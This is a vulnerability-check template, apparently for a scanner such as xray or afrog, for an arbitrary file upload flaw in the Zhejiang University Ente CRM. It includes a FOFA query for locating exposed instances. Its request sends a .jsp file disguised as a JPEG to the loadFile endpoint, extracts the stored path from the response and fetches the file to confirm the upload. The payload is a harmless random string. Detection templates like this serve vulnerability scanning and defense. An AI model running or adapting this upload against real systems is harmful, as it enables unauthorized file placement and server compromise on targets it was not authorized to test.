漏洞描述
浙大恩特CRM/entsoft/CustomerAction.entphone;.js?method=loadFile任意文件上传
fofa: title="欢迎使用浙大恩特客户资源管理系统"
id: entsoft-crm-customeraction-entphone-fileupload
info:
name: 浙大恩特CRM/entsoft/CustomerAction.entphone;.js?method=loadFile任意文件上传
author: wuha
severity: critical
verified: true
description: |
浙大恩特CRM/entsoft/CustomerAction.entphone;.js?method=loadFile任意文件上传
fofa: title="欢迎使用浙大恩特客户资源管理系统"
reference:
- https://mp.weixin.qq.com/s/yesxZD71HEKxpxQrmnsBrg
tags: entsoft,fileupload
created: 2023/11/14
set:
randstr: randomLowercase(12)
randbody: randomLowercase(30)
rboundary: randomLowercase(8)
rules:
r0:
request:
method: POST
path: /entsoft/CustomerAction.entphone;.js?method=loadFile
headers:
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{rboundary}}
body: "\
------WebKitFormBoundary{{rboundary}}\r\n\
Content-Disposition: form-data; name=\"file\"; filename=\"{{randstr}}.jsp\"\r\n\
Content-Type: image/jpeg\r\n\
\r\n\
{{randbody}}\r\n\
------WebKitFormBoundary{{rboundary}}--\r\n\
"
expression: response.status == 200 && response.body.bcontains(b'"filepath"')
output:
search: '"\"filepath\":\"/(?P<filename>.+?)\"}".bsubmatch(response.body)'
filename: search["filename"]
r1:
request:
method: GET
path: /{{filename}}
expression: response.status == 200 && response.body.bcontains(bytes(randbody))
expression: r0() && r1()